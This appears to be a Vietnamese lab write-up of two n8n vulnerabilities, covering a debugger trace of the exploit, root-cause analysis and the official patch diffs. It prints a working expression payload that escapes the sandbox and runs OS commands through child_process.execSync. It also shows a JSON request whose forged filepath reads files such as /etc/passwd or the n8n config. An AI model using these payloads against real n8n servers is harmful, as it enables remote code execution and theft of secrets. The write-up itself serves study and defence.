Đây là **root cause**: `context.getBodyData().files` trả về object do attacker tạo qua JSON. Code không có bất kỳ kiểm tra nào — không validate Content-Type có phải `multipart/form-data` không, không kiểm tra `files` có phải do Formidable tạo không. So sánh: nếu là upload thật, Formidable sẽ tạo `filepath` dạng `/tmp/upload_xxx` (file tạm an toàn). Ở đây `filepath = 'C:/Users/ACER/.n8n/config'` — rõ ràng do attacker kiểm soát.

### 6.3. Bug 1 — Breakpoint tại `copyBinaryFile()` (file read)
Nhấn F5 (Continue) → debugger dừng tại dòng 205 của `utils.ts`:
```typescript
returnItem.binary![binaryPropertyName] = await context.nodeHelpers.copyBinaryFile(
file.filepath, // ← attacker kiểm soát
file.originalFilename ?? file.newFilename,
file.mimetype,
);
```
Panel Variables xác nhận:
- `filepath = 'C:/Users/ACER/.n8n/config'` — path do attacker gửi
- `multiFile = false`
- `binaryPropertyName = 'f_mqn8c9'`
Panel **Breakpoints** (góc dưới trái) liệt kê tất cả breakpoint đã đặt: `BinaryData.service.ts:54`, `Expression.ts:133`, `Expression.ts:351`, `utils.ts:163`, `utils.ts:205`, `utils.ts:213`.

### 6.4. Bug 1 — Breakpoint tại `readFile()` (đọc file từ disk)
Nhấn F5 → debugger dừng tại `packages/core/src/BinaryData/BinaryData.service.ts`, dòng 54:
```typescript
binaryData.data = await readFile(filePath, { encoding: BINARY_ENCODING });
```
Panel Variables:
- `filePath = 'C:/Users/ACER/.n8n/config'`
- `manager = undefined` (không có binary data manager → fallback đọc trực tiếp từ disk)
- `binaryData.fileExtension = 'bin'`
- `binaryData.fileSize = '56 B'`
Panel **Call Stack** chứng minh toàn bộ luồng gọi hàm:
```
BinaryDataService.copyBinaryFile BinaryData.service.ts:54 ← ĐANG Ở ĐÂY
copyBinaryFile NodeExecuteFunctions.ts:1194
copyBinaryFile NodeExecuteFunctions.ts:3509
prepareFormReturnItem utils.ts:205 ← truyền filepath
formWebhook utils.ts:440 ← entry point
```
Không có bước nào validate filepath — từ `formWebhook()` nhận request → `prepareFormReturnItem()` lấy `files` từ body → `copyBinaryFile()` truyền filepath → `readFile()` đọc file. Attacker kiểm soát filepath từ đầu đến cuối.

### 6.5. Bug 2 — Breakpoint tại `resolveSimpleParameterValue()` (expression entry)
Chạy exploit với `--cmd "whoami"` → debugger dừng tại `packages/workflow/src/Expression.ts`, dòng 133:
```typescript
if (typeof parameterValue !== 'string' || parameterValue.charAt(0) !== '=') {
return parameterValue;
}
```
Panel Variables:
```
parameterValue = '={{ (function() { var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("whoami").toString(); })() }}'
mode = 'manual'
activeNodeName = 'Exec-tzmx3r'
```
Biến `parameterValue` chứa expression payload do attacker inject qua workflow. Ký tự `=` ở đầu đánh dấu đây là expression cần evaluate — n8n sẽ cắt bỏ `=` rồi chạy phần còn lại qua Expression Engine.

### 6.6. Bug 2 — Breakpoint sau `renderExpression()` (RCE xảy ra)
Nhấn F5 → debugger dừng tại dòng 325 (sau khi `renderExpression()` chạy xong):
```typescript
const extendedExpression = extendSyntax(parameterValue);
const returnValue = this.renderExpression(extendedExpression, data);
if (typeof returnValue === 'function') { // ← dòng 325, debugger dừng ở đây
```
Panel Variables:
- `extendedExpression = '{{ (function() { var require = this.process.mainModule.require; var execSync = req...'`
- **`returnValue = 'giangpc\\acer'`** — kết quả lệnh `whoami` trên Windows!
- `constructorValidation = /\.\s*constructor/gm` — regex check đã pass (không match payload)
- `data = Proxy(Object)` — data proxy với `$env`, `$input`, sandbox denylist
**Kết quả `returnValue = 'giangpc\\acer'`** chứng minh RCE thành công: expression đã escape sandbox, truy cập `this.process.mainModule.require("child_process")`, chạy lệnh `whoami` trên OS, và trả về username Windows.
Tại sao sandbox không chặn được? Nhìn vào `data` trong Variables panel:
- `data.this = {}` — n8n gán rỗng để chặn `{{ this }}`
- `data.process = {arch, env, platform,...}` — sanitized, không có `mainModule`
Nhưng exploit dùng `(function() { this.process })()` — JavaScript `this` bên trong IIFE (non-strict mode) trỏ về global object, không phải `data.this`. Global object có `process.mainModule.require` → bypass hoàn toàn.

---
## 7. Phân tích Root Cause
> **Source code:** n8n 1.65.0, clone từ GitHub tag `n8n@1.65.0`.
>
> Phần này đi sâu vào source code để giải thích **tại sao** n8n bị dính 2 lỗ hổng, từng dòng code gây ra vấn đề, và lý do các lớp bảo vệ hiện có không hoạt động.
### 7.1. CVE-2026-21858: Content-Type Confusion → Arbitrary File Read
#### Vấn đề cốt lõi
Khi người dùng upload file qua form, n8n dùng thư viện **Formidable** để parse request. Formidable nhận file upload, lưu vào thư mục tạm (ví dụ `/tmp/upload_abc123`), rồi ghi thông tin file vào `req.body.files` — bao gồm `filepath` (đường dẫn file tạm), `originalFilename`, `mimetype`,...
Sau đó, code n8n đọc `req.body.files`, lấy `filepath` ra, gọi `readFile(filepath)` để đọc nội dung file và trả về cho workflow.
**Bình thường** (upload thật qua multipart), `filepath` luôn trỏ đến file tạm do Formidable tạo → an toàn.
**Nhưng** n8n không kiểm tra request có phải là multipart upload thật không. Nếu attacker gửi JSON thay vì multipart, `req.body.files` vẫn tồn tại — nhưng lần này do attacker tự tạo, với `filepath` trỏ đến bất kỳ file nào trên server.
#### Bước 1 — n8n chọn parser dựa trên Content-Type
**File:** `packages/cli/src/webhooks/webhook-helpers.ts`, dòng 237–254
```typescript
const { contentType } = req;
if (contentType === 'multipart/form-data') {
// Nếu client gửi multipart → dùng Formidable parse file upload
// Formidable tạo file tạm an toàn tại /tmp/upload_xxx
req.body = await parseFormData(req);
} else {
if (nodeVersion > 1) {
if (contentType?.startsWith('application/json') || ...) {
// Nếu client gửi JSON → dùng JSON.parse
// Body hoàn toàn do attacker kiểm soát!
await parseBody(req);
}
}
}
```
Đoạn code này tự nó **không sai** — nó chọn parser phù hợp với Content-Type. Vấn đề là ở đoạn code tiếp theo, khi n8n xử lý kết quả parse mà không phân biệt body đến từ parser nào.
#### Bước 2 — ROOT CAUSE: đọc `files` mà không kiểm tra nguồn gốc
**File:** `packages/nodes-base/nodes/Form/utils.ts`, hàm `prepareFormReturnItem()`, dòng 162–169
```typescript
export async function prepareFormReturnItem(context, formFields, mode, useWorkflowTimezone) {
const bodyData = (context.getBodyData().data as IDataObject) ?? {};
const files = (context.getBodyData().files as IDataObject) ?? {};
// ^^^^^ Đây là ROOT CAUSE
const returnItem: INodeExecutionData = { json: {} };
if (files && Object.keys(files).length) {
returnItem.binary = {};
}
```
Dòng `const files = (context.getBodyData().files as IDataObject)` là nơi lỗi xảy ra. Code lấy `.files` từ body request mà **hoàn toàn tin tưởng** nó — không hỏi:
- Content-Type của request là gì? (multipart hay JSON?)
- `files` này do Formidable tạo hay do attacker tự gửi?
- `filepath` trong files có nằm trong thư mục tạm `/tmp/` không?
So sánh 2 trường hợp:
| | Upload thật (multipart) | Tấn công (JSON) |
|:---|:---|:---|
| Content-Type | `multipart/form-data` | `application/json` |
| Parser | Formidable | JSON.parse |
| `files` tạo bởi | Formidable (server-side) | Attacker (client-side) |
| `filepath` | `/tmp/upload_abc123` (file tạm) | `/etc/passwd` (file hệ thống!) |
| An toàn? | An toàn | **Nguy hiểm** |
Cả 2 trường hợp đều tạo ra `req.body.files` có cùng cấu trúc, và code không phân biệt được.
#### Bước 3 — Truyền filepath do attacker kiểm soát vào hàm đọc file
**File:** `packages/nodes-base/nodes/Form/utils.ts`, dòng 198–209
```typescript
for (const file of processFiles) {
let binaryPropertyName = fieldLabel.replace(/\W/g, '_');
if (multiFile) {
binaryPropertyName += `_${fileCount++}`;
}
returnItem.binary![binaryPropertyName] = await context.nodeHelpers.copyBinaryFile(
file.filepath, // ← filepath do attacker gửi qua JSON
file.originalFilename ?? file.newFilename,
file.mimetype,
);
}
```
Code lặp qua từng file trong `files`, lấy `file.filepath` rồi truyền thẳng vào `copyBinaryFile()`. Không có bước validate hay sanitize nào ở giữa.
#### Bước 4 — Đọc file từ disk và trả về cho attacker
**File:** `packages/core/src/BinaryData/BinaryData.service.ts`, dòng 43–56
```typescript
async copyBinaryFile(workflowId, executionId, binaryData, filePath) {
const manager = this.managers[this.mode];
if (!manager) {
const { size } = await stat(filePath); // check file tồn tại
binaryData.fileSize = prettyBytes(size);
binaryData.data = await readFile(filePath, { // ĐỌC FILE TỪ DISK
encoding: BINARY_ENCODING
});
return binaryData;
}
}
```
`readFile(filePath)` đọc nội dung file tại đường dẫn do attacker chỉ định. Không có:
- Allowlist (chỉ cho phép đọc từ `/tmp/`)
- Path traversal check (chặn `../`)
- Permission check
- Bất kỳ validation nào
Kết quả (nội dung file) được gói vào `binaryData`, truyền ngược lên workflow, và Respond to Webhook node trả về cho attacker trong HTTP response.
#### Tóm tắt luồng vulnerable
```
Attacker gửi POST với Content-Type: application/json
Body: {"files":{"f-xxx":{"filepath":"/etc/passwd",...}}}
│
▼ webhook-helpers.ts — JSON.parse() parse body
│ (body hoàn toàn do attacker kiểm soát)
│
▼ utils.ts:163 — files = getBodyData().files
│ (lấy files ra mà KHÔNG kiểm tra nguồn gốc) ← ROOT CAUSE
│
▼ utils.ts:205 — copyBinaryFile(file.filepath)
│ (truyền filepath "/etc/passwd" do attacker gửi)
│
▼ BinaryData.service.ts:54 — readFile("/etc/passwd")
│ (đọc file hệ thống từ disk)
│
▼ HTTP Response: nội dung /etc/passwd trả về cho attacker
```
**Tóm lại:** Lỗi không nằm ở chỗ n8n chấp nhận JSON request — mà nằm ở chỗ sau khi parse xong, code **không phân biệt** giữa file upload thật (Formidable) và dữ liệu giả (JSON). Một dòng kiểm tra `if (contentType !== 'multipart/form-data') return;` trước khi đọc `files` là đủ để chặn toàn bộ attack vector này.
---
### 7.2. CVE-2025-68613: Expression Injection → Sandbox Escape → RCE
#### Vấn đề cốt lõi
n8n cho phép người dùng viết **expression** trong workflow — ví dụ `{{ $json.name }}` để lấy dữ liệu từ node trước. Bên dưới, n8n evaluate expression bằng cách chạy nó như JavaScript code.
Vì expression chạy như JS code, n8n cần **sandbox** để ngăn người dùng chạy code nguy hiểm (đọc file, chạy command,...). n8n có 4 lớp bảo vệ — nhưng exploit bypass được tất cả.
#### Payload của attacker
```javascript
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
```
Payload này là một **IIFE** (Immediately Invoked Function Expression) — tạo hàm rồi gọi ngay. Bên trong hàm, nó truy cập `this.process` để lấy Node.js process object, từ đó `require("child_process")` rồi chạy lệnh OS tùy ý.
#### Lớp 1 — Forbidden members list (bypass)
**File:** `packages/workflow/src/ExpressionSandboxing.ts`
```typescript
const forbiddenMembers = ['__proto__', 'prototype', 'constructor', 'getPrototypeOf'];
```
n8n có một danh sách đen gồm 4 tên property bị cấm truy cập trong expression. Nếu expression chứa `.prototype`, `.constructor`,... thì sẽ bị chặn.
**Tại sao không chặn được:** Danh sách chỉ có 4 mục, tập trung vào chặn prototype pollution (một kỹ thuật tấn công khác). Các từ khóa mà exploit cần — `process`, `mainModule`, `require`, `execSync` — **hoàn toàn không có trong danh sách**. Exploit truy cập `this.process.mainModule.require(...)` mà không chạm vào bất kỳ từ nào bị cấm.
#### Lớp 2 — Sanitized data object (bypass)
**File:** `packages/workflow/src/Expression.ts`, dòng 163–221
```typescript
// n8n tạo một "data" object chứa các biến mà expression được phép truy cập
data.process = typeof process !== 'undefined'
? { arch: process.arch, env: ..., platform: ..., pid: ..., ... }
: {};
// ↑ Chỉ expose các thuộc tính an toàn: arch, env, platform, pid,...
// KHÔNG có mainModule, KHÔNG có require
data.this = {}; // Gán rỗng để chặn {{ this }}
data.eval = {}; // Chặn eval()
data.Function = {}; // Chặn Function()
```
n8n tạo một object `data` chứa các biến mà expression được phép sử dụng. Trong đó:
- `data.process` chỉ chứa các thuộc tính an toàn (`arch`, `env`, `platform`,...) — **không có `mainModule`**
- `data.this` được gán `{}` (object rỗng) để chặn khi ai đó viết `{{ this }}`
**Tại sao không chặn được:** Exploit không dùng `data.process` hay `data.this`. Nó dùng JavaScript `this` keyword bên trong một hàm:
```javascript
(function() {
// Ở đây "this" KHÔNG phải data.this
// Mà là global object của Node.js (vì non-strict mode)
this.process; // → Node.js process object thật, có mainModule!
})()
```
Trong JavaScript, khi gọi một function bình thường (không phải arrow function, không phải strict mode), `this` bên trong hàm trỏ về **global object**. Trong Node.js, global object chính là `globalThis` — nơi chứa `process` đầy đủ với `mainModule.require`.
`data.this = {}` chỉ chặn khi viết `{{ this }}` trực tiếp trong template. Nhưng JavaScript `this` keyword bên trong function là một cơ chế hoàn toàn khác — không bị ảnh hưởng bởi việc gán `data.this`.
Đây là điểm mấu chốt của exploit: **nhầm lẫn giữa "biến tên `this` trong template" và "JavaScript `this` keyword trong function scope"**.
#### Lớp 3 — Constructor regex check (bypass)
**File:** `packages/workflow/src/Expression.ts`, dòng 313–319
```typescript
const constructorValidation = new RegExp(/\.\s*constructor/gm);
if (parameterValue.match(constructorValidation)) {
throw new ExpressionError('Expression contains invalid constructor function call');
}
```
Trước khi evaluate, n8n dùng regex `/\.\s*constructor/gm` để kiểm tra xem expression có chứa `.constructor` không. Nếu có → block. Mục đích là chặn kỹ thuật `"".constructor.constructor("return process")()` — một cách cổ điển để escape sandbox trong JavaScript.
**Tại sao không chặn được:** Payload exploit dùng `this.process.mainModule.require(...)` — hoàn toàn không chứa chuỗi `.constructor`. Regex check pass, expression được phép chạy tiếp.
#### Lớp 4 — Function.prototype.constructor mock (bypass)
**File:** `packages/workflow/src/Expression.ts`, dòng 348–351
```typescript
// Tạm thời thay thế Function.prototype.constructor bằng một mock
[Function, AsyncFunction].forEach(({ prototype }) =>
Object.defineProperty(prototype, 'constructor', { value: fnConstructors.mock }),
);
// Rồi mới evaluate expression
return evaluateExpression(expression, data);
```
n8n tạm thời mock `Function.prototype.constructor` trước khi evaluate expression. Mục đích: chặn `new Function("return process")()` — một cách khác để tạo hàm chạy code tùy ý.
**Tại sao không chặn được:** Exploit không cần tạo hàm mới qua `new Function()`. Nó đã có sẵn hàm (IIFE) trong payload, và truy cập `process` qua `this` chứ không qua constructor. Mock này hoàn toàn vô hiệu với kỹ thuật tấn công này.
#### Tại sao IIFE + `this` bypass được tất cả?
Tổng hợp lại, exploit hoạt động vì nó khai thác một **đặc tính cơ bản của JavaScript** mà n8n không xử lý:
1. Trong JavaScript non-strict mode, khi gọi `(function() { ... })()`, `this` bên trong hàm trỏ về **global object**
2. Trong Node.js, global object chứa `process` — object đặc biệt cho phép truy cập toàn bộ runtime
3. `process.mainModule.require` cho phép import bất kỳ module nào, bao gồm `child_process`
4. `child_process.execSync("cmd")` chạy lệnh OS và trả về kết quả
n8n đã sanitize `data.process` (bỏ `mainModule`) và gán `data.this = {}`. Nhưng cả 2 chỉ ảnh hưởng đến **biến trong template scope** — không chặn được **JavaScript `this` keyword** bên trong function expression, vì đó là cơ chế ở tầng ngôn ngữ, nằm ngoài tầm kiểm soát của template engine.
#### Bảng tóm tắt bypass
| Lớp bảo vệ | Mục đích | Cách hoạt động | Tại sao exploit bypass được |
|:---|:---|:---|:---|
| Forbidden list (4 mục) | Chặn prototype pollution | Block `__proto__`, `prototype`, `constructor`, `getPrototypeOf` | Exploit dùng `process`, `mainModule`, `require` — không có trong list |
| `data.process` sanitized | Ẩn `mainModule` khỏi expression | Chỉ expose `arch`, `env`, `platform`,... | Exploit dùng `this.process` (global) thay vì `data.process` (sanitized) |
| `data.this = {}` | Chặn truy cập `this` trong template | Gán `data.this` = rỗng | Exploit dùng JS `this` keyword trong IIFE — khác hoàn toàn với biến `data.this` |
| Constructor regex | Chặn `.constructor` trong expression | Regex `/\.\s*constructor/gm` | Payload không chứa từ `constructor` |
| Function mock | Chặn `new Function()` | Mock `Function.prototype.constructor` | Exploit dùng `require()`, không dùng `new Function()` |
---
### 7.3. Phân tích patch diff
Phần này đối chiếu code vulnerable với commit vá chính thức trong repository `n8n-io/n8n`. Hai advisory công khai chỉ mô tả impact và phiên bản vá; commit diff cho thấy chính xác điều kiện bảo mật được thêm vào source code.
#### 7.3.1. Patch CVE-2026-21858 — bắt buộc multipart trước khi xử lý `body.files`
**Nguồn chính thức:**
- [GitHub Advisory GHSA-v4pr-fm98-w9pg](https://github.com/n8n-io/n8n/security/advisories/GHSA-v4pr-fm98-w9pg)
- [Commit vá `c8d604d`](https://github.com/n8n-io/n8n/commit/c8d604d2c466dd84ec24f4f092183d86e43f2518)
- [So sánh tag `n8n@1.120.4...n8n@1.121.0`](https://github.com/n8n-io/n8n/compare/n8n%401.120.4...n8n%401.121.0)
Trong phiên bản vulnerable, `prepareFormReturnItem()` đọc `context.getBodyData().files` mà không xác minh request được parse từ multipart upload:

```typescript
const bodyData = (context.getBodyData().data as IDataObject) ?? {};
const files = (context.getBodyData().files as IDataObject) ?? {};
```
Commit `c8d604d` thêm request object và assertion **trước** hai dòng trên:
```diff
+ import * as a from 'node:assert';
export async function prepareFormReturnItem(...) {
+ const req = context.getRequestObject() as MultiPartFormData.Request;
+ a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
const bodyData = (context.getBodyData().data as IDataObject) ?? {};
const files = (context.getBodyData().files as IDataObject) ?? {};
}
```
Với patch này, request `Content-Type: application/json` bị từ chối trước khi code truy cập `body.files`. Attacker không còn khả năng đưa object JSON giả vào luồng xử lý dành cho file do Formidable tạo. Commit cũng áp dụng kiểm tra tương tự tại các luồng Webhook và Chat Trigger có xử lý multipart.
#### 7.3.2. Patch CVE-2025-68613 — kiểm soát `this` của function expression
**Nguồn chính thức:**
- [GitHub Advisory GHSA-v98v-ff95-f3cp](https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp)
- [Commit vá `1c93335`](https://github.com/n8n-io/n8n/commit/1c933358acef527ff61466e53268b41a04be1000)
- [So sánh tag `n8n@1.120.3...n8n@1.120.4`](https://github.com/n8n-io/n8n/compare/n8n%401.120.3...n8n%401.120.4)
Sáu ảnh diff dưới đây thể hiện bốn thay đổi liên tiếp: đăng ký sanitizer, tạo context an toàn, sửa cách gọi IIFE/callback và chặn thêm các property nguy hiểm.
##### Diff-patch 2-1 — Đưa `FunctionThisSanitizer` vào trước bước thực thi

Trong `packages/workflow/src/expression-evaluator-proxy.ts`, commit import `FunctionThisSanitizer` và thêm nó vào mảng `before`:
```diff
import {
DollarSignValidator,
+ FunctionThisSanitizer,
PrototypeSanitizer,
} from './expression-sandboxing';
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
- before: [],
+ before: [FunctionThisSanitizer],
after: [PrototypeSanitizer, DollarSignValidator],
});
```
**Ý nghĩa của thay đổi:**
- Dòng import mới làm cho evaluator có thể sử dụng `FunctionThisSanitizer` được định nghĩa trong `expression-sandboxing.ts`.
- Trước patch, mảng `before` rỗng. Expression được parse nhưng không có bước nào sửa cách gán `this` cho function expression.
- Sau patch, `before: [FunctionThisSanitizer]` yêu cầu n8n chạy sanitizer trên AST **trước khi expression được thực thi**. AST là cấu trúc dạng cây mô tả các thành phần của code, chẳng hạn function, lời gọi hàm và truy cập property.
- Vì chạy ở `before`, sanitizer hoàn thành việc thay thế node nguy hiểm khi code vẫn chỉ là dữ liệu cú pháp. Payload chưa có cơ hội gọi `require()` hoặc `execSync()`.
- Sanitizer không tìm chuỗi cố định như `"this.process"`. Nó nhận diện loại node cú pháp, nên việc thêm khoảng trắng, xuống dòng hoặc đặt tên cho function không làm mất tác dụng kiểm tra.
- `PrototypeSanitizer` và `DollarSignValidator` trong `after` đã có từ trước. Chúng kiểm soát prototype và dữ liệu bắt đầu bằng `$`, nhưng không sửa giá trị `this` của function expression. Vì vậy cần thêm một hook riêng.
**Kết quả của hunk này:** mọi expression phải đi qua `FunctionThisSanitizer` trước khi evaluator được phép chạy expression đó.
##### Diff-patch 2-2 — Tạo một object an toàn để thay cho global `this`

Trong `packages/workflow/src/expression-sandboxing.ts`, patch tạo một AST node biểu diễn object `{ process: {} }`:
```typescript
const EMPTY_CONTEXT = b.objectExpression([
b.property('init', b.identifier('process'), b.objectExpression([])),
]);
```
**Cách đọc từng thành phần:**
- `EMPTY_CONTEXT` là tên của context an toàn mà patch sẽ gán vào `this`.
- `b.objectExpression([...])` tạo một node AST biểu diễn object JavaScript.
- `b.identifier('process')` tạo property có tên `process`.
- `b.objectExpression([])` tạo một object rỗng `{}` làm giá trị cho property đó.
- Toàn bộ đoạn code chỉ **tạo cú pháp** cho một object mới; nó không đọc và không sao chép Node.js `process` thật.
AST trên tương đương với JavaScript:
```javascript
{ process: {} }
```
Khi object này được dùng làm `this`, giá trị nhìn thấy bên trong function là:
```javascript
this // { process: {} }
this.process // {}
this.process.env // undefined
this.process.mainModule // không lấy được module loader
```
Property `process` vẫn tồn tại nhưng chỉ trỏ tới object rỗng. Vì vậy expression không nhận được biến môi trường, module loader hoặc API hệ thống từ Node.js `process` thật.
**Kết quả của hunk này:** patch đã tạo sẵn giá trị `this` an toàn. Các hunk tiếp theo dùng `.call()` hoặc `.bind()` để gán giá trị này cho function expression.
##### Diff-patch 2-3 — Nhận diện IIFE trong cây cú pháp

Phần đầu của `FunctionThisSanitizer` duyệt AST và tìm lời gọi trực tiếp tới một function expression:
```typescript
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
astVisit(ast, {
visitCallExpression(path) {
const { node } = path;
if (node.callee.type !== 'FunctionExpression') {
this.traverse(path);
return;
}
const fnExpression = node.callee;
```
**Các khái niệm trong đoạn code:**
- `CallExpression` là node AST biểu diễn một lời gọi hàm. Ví dụ `foo()` và `(function () {})()` đều là `CallExpression`.
- `callee` là phần được gọi, tức phần đứng ngay trước cặp ngoặc truyền tham số. Trong `foo(1)`, callee là `foo`; trong `(function () {})(1)`, callee là `function () {}`.
- `FunctionExpression` là function được viết như một giá trị, ví dụ `function () {}` hoặc `function calc() {}`.
- `path` chứa vị trí của node hiện tại trong AST. Sanitizer cần vị trí này để thay node cũ bằng node an toàn.
**Luồng kiểm tra:**
1. `visitCallExpression(path)` được gọi cho từng lời gọi hàm trong expression.
2. `const { node } = path` lấy node lời gọi hiện tại.
3. Nếu `node.callee.type` không phải `FunctionExpression`, đây không phải IIFE cần viết lại. Sanitizer gọi `this.traverse(path)` để tiếp tục kiểm tra các node con rồi thoát khỏi nhánh hiện tại.
4. Nếu callee là `FunctionExpression`, sanitizer lưu function đó vào `fnExpression`. Đây là IIFE sẽ được chuyển từ `fn(...)` sang `fn.call(...)` ở hunk tiếp theo.
Ví dụ được nhận diện bởi nhánh này:
```javascript
(function () { return this.process; })()
// callee: function () { return this.process; }
```
**Kết quả của hunk này:** sanitizer phân biệt được IIFE cần kiểm soát `this` với những lời gọi thông thường như `Math.max()` hoặc `$json.name.toString()`.
##### Diff-patch 2-4 — Thay IIFE bằng `.call(EMPTY_CONTEXT, ...)`

Sau khi ảnh 2-3 tìm được IIFE, phần code trong ảnh 2-4 tạo lời gọi thay thế:
```typescript
this.traverse(path); // depth first to transform inside out
const callExpression = b.callExpression(
b.memberExpression(fnExpression, b.identifier('call')),
[EMPTY_CONTEXT, ...node.arguments],
);
path.replace(callExpression);
return false;
```
**Ý nghĩa của từng dòng:**
- `this.traverse(path)` xử lý các function nằm sâu bên trong trước. Nhờ đó một IIFE lồng trong IIFE khác cũng được sửa từ trong ra ngoài.
- `b.memberExpression(fnExpression, b.identifier('call'))` tạo AST tương ứng với `fnExpression.call`.
- `b.callExpression(...)` biến phần trên thành một lời gọi `.call(...)` hoàn chỉnh.
- Đối số đầu tiên của `.call()` là `EMPTY_CONTEXT`. Theo quy tắc JavaScript, đối số đầu tiên này chính là giá trị `this` bên trong function.
- `...node.arguments` chép lại toàn bộ tham số cũ. Patch chỉ thay `this`, không làm mất dữ liệu đầu vào của function.
- `path.replace(callExpression)` thay lời gọi IIFE cũ trong AST bằng lời gọi `.call()` vừa tạo.
- `return false` kết thúc nhánh sau khi thay thế, tránh việc visitor tiếp tục xử lý lại node mới ngay trong cùng lượt duyệt.
Quy tắc của `.call()` trong trường hợp này:
```javascript
fn.call(giá_trị_của_this, tham_số_1, tham_số_2)
```
Một IIFE hợp lệ vẫn nhận đủ tham số:
```javascript
// Trước khi sanitize
(function (x) { return x * 2; })(5)
// Sau khi sanitize
(function (x) { return x * 2; }).call({ process: {} }, 5)
```
Với primitive của exploit, thay đổi quan trọng nằm ở giá trị `this`:
```javascript
// Trước patch: gọi trực tiếp, `this` có thể trỏ tới global object
(function () { return this.process; })()
// Sau patch: `.call()` đặt `this` thành EMPTY_CONTEXT
(function () { return this.process; }).call({ process: {} })
```
**Kết quả của hunk này:** function vẫn chạy và vẫn nhận các tham số ban đầu, nhưng `this.process` chỉ trả về `{}`. Chuỗi `this.process.mainModule.require(...)` không còn lấy được `require()` của Node.js.
##### Diff-patch 2-5 — Bind cả function expression được dùng làm callback

Không phải function expression nào cũng được gọi ngay như IIFE. Function có thể được truyền làm callback và chỉ được gọi sau đó:
```javascript
[1, 2, 3].map(function (n) { return n * 2; })
```
Vì vậy patch còn xử lý node `FunctionExpression` độc lập:
```typescript
visitFunctionExpression(path) {
const { node } = path;
this.traverse(path);
const boundFunction = b.callExpression(
b.memberExpression(node, b.identifier('bind')),
[EMPTY_CONTEXT],
);
path.replace(boundFunction);
return false;
},
```
**Ý nghĩa của từng dòng:**
- `visitFunctionExpression(path)` nhận diện mọi function expression, bao gồm function được truyền làm callback cho `map()`, `filter()` hoặc API khác.
- `const { node } = path` lấy function hiện tại ra khỏi vị trí của nó trong AST.
- `this.traverse(path)` kiểm tra các function lồng bên trong function hiện tại trước.
- `b.memberExpression(node, b.identifier('bind'))` tạo cú pháp `functionExpression.bind`.
- `b.callExpression(..., [EMPTY_CONTEXT])` gọi `.bind(EMPTY_CONTEXT)` để tạo một function mới có `this` cố định.
- `path.replace(boundFunction)` thay function ban đầu bằng function đã bind trong AST.
AST sau đó tương đương với:
```javascript
// Trước khi sanitize
[1, 2, 3].map(function (n) { return n * 2; })
// Sau khi sanitize
[1, 2, 3].map(
(function (n) { return n * 2; }).bind({ process: {} })
)
```
**Tại sao callback dùng `.bind()` mà không dùng `.call()`?**
| Cơ chế | Dùng khi nào | Kết quả |
|:---|:---|:---|
| `.call(EMPTY_CONTEXT, ...args)` | IIFE phải chạy ngay tại vị trí hiện tại | Thực thi function ngay với `this` an toàn. |
| `.bind(EMPTY_CONTEXT)` | Callback sẽ được `map()` hoặc code khác gọi sau | Chưa chạy function; trả về một function mới có `this` đã được cố định. |
Không thể thay callback bằng `.call()` vì `.call()` sẽ chạy function ngay và trả về kết quả. Khi đó `map()` nhận kết quả thay vì nhận một function để gọi cho từng phần tử. `.bind()` giữ nguyên hành vi callback nhưng ngăn `map()` hoặc code gọi callback gán lại `this`.
Ví dụ sau khi bind, dù nơi gọi callback truyền một `this` khác, function vẫn nhận `{ process: {} }`:
```javascript
const callback = (function () {
return this.process;
}).bind({ process: {} });
callback(); // trả về {}, không phải Node.js process
```
**Kết quả của hunk này:** cách lấy global `this` bị chặn cả ở IIFE gọi ngay và function expression được truyền làm callback.
##### Diff-patch 2-6 — Bổ sung denylist cho đường nạp module

Trong `packages/workflow/src/utils.ts`, patch mở rộng tập property bị coi là không an toàn:
```diff
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf',
+ 'mainModule',
+ 'binding',
+ '_load',
]);
```
**Cách hoạt động:**
- `unsafeObjectProperties` là một `Set` chứa tên các property mà expression không được phép truy cập qua cơ chế lấy property đã được n8n kiểm soát.
- Trước patch, tập này chủ yếu chặn các property có thể dẫn tới prototype manipulation như `__proto__`, `prototype` và `constructor`.
- Patch thêm ba tên liên quan trực tiếp đến cơ chế nội bộ của Node.js. Khi expression yêu cầu một trong các tên này, n8n coi yêu cầu đó là không an toàn và không trả về object/module tương ứng.
**Ý nghĩa của ba property mới:**
| Property | Rủi ro bị chặn |
|:---|:---|
| `mainModule` | Payload của lab dùng `process.mainModule.require(...)` để lấy `require()` và nạp `child_process`. |
| `binding` | Chặn truy cập `process.binding()`, API cấp thấp nối JavaScript với các binding nội bộ của Node.js. |
| `_load` | Chặn `Module._load()`, hàm nội bộ có khả năng nạp module mà không cần gọi `require()` theo cách thông thường. |
`FunctionThisSanitizer` và denylist giải quyết hai phần khác nhau:
- `FunctionThisSanitizer` ngăn function nhận global object qua `this`. Đây là thay đổi chính đối với primitive của CVE.
- Denylist ngăn expression đi tiếp qua các property nạp module nếu attacker tìm được một object khác có chứa chúng. Đây là lớp kiểm soát bổ sung.
Nếu chỉ thêm `mainModule` vào denylist, attacker có thể tìm đường khác như `binding` hoặc `_load`. Nếu chỉ thay `this`, một object nguy hiểm đến từ nguồn khác vẫn cần được kiểm soát. Vì vậy commit thực hiện cả hai thay đổi.
**Kết quả của hunk này:** ngay cả khi expression cố truy cập trực tiếp các tên `mainModule`, `binding` hoặc `_load`, chúng cũng bị đánh dấu là property không an toàn.
Với payload trong lab, kết quả trực tiếp là:
```text
this.process
→ chỉ nhận {}
→ không lấy được mainModule/require
→ không nạp được child_process
→ execSync() không thể chạy
```
Như vậy, bản vá không loại bỏ function expression khỏi n8n. Nó giữ chức năng expression hợp lệ, nhưng buộc `this` của các function do người dùng cung cấp phải dùng context an toàn và ngăn truy cập các property nạp module nhạy cảm.
#### Kết quả sau patch
| CVE | Primitive trước patch | Kiểm tra được thêm | Kết quả với payload trong lab |
|:---|:---|:---|:---|
| CVE-2026-21858 | JSON tự tạo `body.files[*].filepath` | Chỉ xử lý `body.files` khi `req.contentType === 'multipart/form-data'` | Request JSON bị từ chối trước `copyBinaryFile()` |
